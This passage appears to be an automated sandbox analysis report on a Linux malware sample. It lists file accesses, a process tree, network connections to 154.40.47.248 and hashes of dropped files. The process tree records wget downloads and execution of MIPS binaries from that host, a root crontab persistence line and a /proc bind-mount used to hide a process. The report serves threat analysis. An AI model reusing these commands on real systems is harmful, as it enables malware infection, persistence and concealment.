| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/sed | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/1/environ | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
| File opened for reading | /proc/self/stat | /bin/systemctl | N/A |
| File opened for reading | /proc/cmdline | /bin/systemctl | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /tmp/linux_mips | N/A |
| N/A | N/A | /tmp/linux_mips | N/A |
| N/A | N/A | /bin/rm | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /tmp/linux_mipsel | N/A |
| N/A | N/A | /bin/rm | N/A |
| N/A | N/A | /bin/rm | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/linux_mips | /usr/bin/wget | N/A |
| File opened for modification | /tmp/linux_mipsel | /usr/bin/wget | N/A |
Processes
/tmp/download.sh
[/tmp/download.sh]
/bin/uname
[uname -s]
/bin/uname
[uname -m]
/bin/rm
[rm -f linux_mips]
/usr/bin/wget
[wget -t 1 http://154.40.47.248:8000/linux_mips]
/bin/chmod
[chmod +x linux_mips]
/tmp/linux_mips
[./linux_mips]
/tmp/linux_mips
[./linux_mips ]
/bin/rm
[rm -f linux_mipsel]
/usr/bin/wget
[wget -t 1 http://154.40.47.248:8000/linux_mipsel]
/bin/sh
[/bin/sh -c /etc/32676&]
/etc/32676
[/etc/32676]
/usr/sbin/service
[service crond start]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/sleep
[sleep 60]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/chmod
[chmod +x linux_mipsel]
/tmp/linux_mipsel
[./linux_mipsel]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/rm
[rm -f linux_mipsel]
/bin/rm
[/bin/rm /tmp/download.sh]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/usr/local/sbin/systemctl
[systemctl start crond.service]
/usr/local/bin/systemctl
[systemctl start crond.service]
/usr/sbin/systemctl
[systemctl start crond.service]
/usr/bin/systemctl
[systemctl start crond.service]
/sbin/systemctl
[systemctl start crond.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sh
[/bin/sh -c echo "*/1 * * * * root /.mod " >> /etc/crontab]
/usr/bin/renice
[renice -20 785]
/bin/mount
[mount -o bind /tmp/ /proc/785]
/usr/sbin/service
[service cron start]
/usr/bin/basename
[basename /usr/sbin/service]
/usr/bin/basename
[basename /usr/sbin/service]
/bin/systemctl
[systemctl --quiet is-active multi-user.target]
/bin/systemctl
[systemctl list-unit-files --full --type=socket]
/bin/sed
[sed -ne s/\.socket\s*[a-z]*\s*$/.socket/p]
/bin/systemctl
[systemctl -p Triggers show dbus.socket]
/bin/systemctl
[systemctl -p Triggers show ssh.socket]
/bin/systemctl
[systemctl -p Triggers show syslog.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-fsckd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-initctl.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-audit.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald-dev-log.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-journald.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-networkd.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-rfkill.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-control.socket]
/bin/systemctl
[systemctl -p Triggers show systemd-udevd-kernel.socket]
/usr/local/sbin/systemctl
[systemctl start cron.service]
/usr/local/bin/systemctl
[systemctl start cron.service]
/usr/sbin/systemctl
[systemctl start cron.service]
/usr/bin/systemctl
[systemctl start cron.service]
/sbin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start cron.service]
/bin/systemctl
[systemctl start crond.service]
/bin/sleep
[sleep 60]
/bin/sleep
[sleep 60]
Network
| Country | Destination | Domain | Proto |
| US | 154.40.47.248:8000 | 154.40.47.248 | tcp |
| US | 154.40.47.248:8000 | 154.40.47.248 | tcp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| AU | 1.1.1.1:53 | www.google.com | udp |
| US | 154.40.47.248:888 | tcp |
Files
/tmp/linux_mips
| MD5 | 5ec2f6c412ccfcc16781a7f3f37fb474 |
| SHA1 | 912cb18493577a0b5c64d994f4b6bc05990ae390 |
| SHA256 | e58dffab271cd20cb6089017017d8e6c5f68c56c2b1877e8a94bbcdadcd4ef4c |
| SHA512 | ce37675e1ccfd0e7fdf2fe155473d94222ceb28cf8a3c797033617a07e7ce632240bdbb338d7c3aec5131a343d172a4d58a05e2558408e42b3eb80cf1767857f |
/etc/.walk
| MD5 | 2dd37fddcc243f5581c4ce62ef5fdfc8 |
| SHA1 | f6adde2974e8b8b7e384b5556acbca3cc9d5b3f2 |
| SHA256 | 811d6a6fc9aba79ed06e118d1b06579d68dd81503dd05c469c05005dc828a62b |
| SHA512 | 5dc0780584978253f7409adbfc9a83e52dd6c1667724df43dece254390c6fa66b5cf097b409cc1a4178f852061af1db99659cb3c6e61fb809a368fab6086775a |
/etc/.walk
| MD5 | e38a02404d480a130b22e468846d29ee |
| SHA1 | 862cc7ead638d06282474432fd60cdaebc8a87c9 |
| SHA256 | 230b225ff7e6feaa217dcad9777d9503605a8a8f0fbd6020e3ad192d602c045e |
| SHA512 | 4b063eb01136320c67f1a1bf01f7e68f6c9cf68755e70b450e20bbb73cc0504f8456418c8b22b3b164a98fbfff5b496558aaf3caa8ed08be83a1c1dac9c6beb8 |
/etc/32676
| MD5 | 585f408444cbca746945f0cb63f2c3f0 |
| SHA1 | 0e44bae17174f04514e770ca7fc4bec1007e39cd |
| SHA256 | ebb961c647363dfa90f302de378e0e61807b9b792fc86616635a713cca8f4299 |
| SHA512 | 022241dbafad55164701f67ef5b84154e3af97c5dfe77dee7bf8406f2befbd2962bbf4f243432b2f41d6c2376b87fcf551fd6945e03ddb02a5619c2f0f69c596 |
/tmp/linux_mipsel
| MD5 | 06a141032d508ea7639d82c044851727 |
| SHA1 | e49bf29f0c21f0e5a5d0ccee733ed1626df57d6b |
| SHA256 | d3030e1575b48293f9364353127bd44892ec65120c11d1710eead510373aab55 |
| SHA512 | 8173fc77c9ba84dc1a980c907dec6d2a37e20b3dec5438189fb1990e6c161de5a7ebc033091be2bcd7b80fb1bfe1478eb9f81f6811c9417fd95d3419c9cc2e05 |
/.mod
| MD5 | f5a3713282e43c200f30342f5ff5e2ea |
| SHA1 | 2b2ce1a207e2b691a074c6f78f71c4785aae426a |
| SHA256 | 6ab64e727571458d4884fb2fe82c27c467db0699cb8f648b3f0217c35d2b7511 |
| SHA512 | 5bcb8cd360409147a486755f90e0cdd97183af02ce8de5135b7c6a8a010deb9ef12dcd5ee9a2a8fd2e159347f68e72d6b7fd75e943b4fcd928d7a74b97476013 |
/usr/bin/include/find
| MD5 | 97b5c6c1b307114efc38193175a343c3 |
| SHA1 | 24015d4f95c6878ea5027c134eddebb7126b610f |
| SHA256 | b1a89f313023b476fc826d8fac689679504e61ae8e650681fb966e810ed34970 |
| SHA512 | e5359f3e082f54f5cfd7afa7771d8724d161d48d09372f203bdca222a47a63919fdfb76b6db7fb8ff61e92f8fd04fdec962e94331ff12705cf53ce5e23d33180 |
/etc/profile.d/gateway.sh
| MD5 | 9f3e861844e604c6c4c074d948aeeabf |
| SHA1 | 61d9060d95a41796eff5adeebab13038775506c5 |
| SHA256 | 8704842b0b1612a923d6c8660a3f08b9f05a0340328fc46f3a555ab40b41cbca |
| SHA512 | 173bbf3d699c5948acd3cb7892a8bc1e467a4edaeb98765e0c792d2fabfa7ac29e06a02fbd3ac7ac2ada13769788151d38aa9b2baec9c086d570b4887b9057d5 |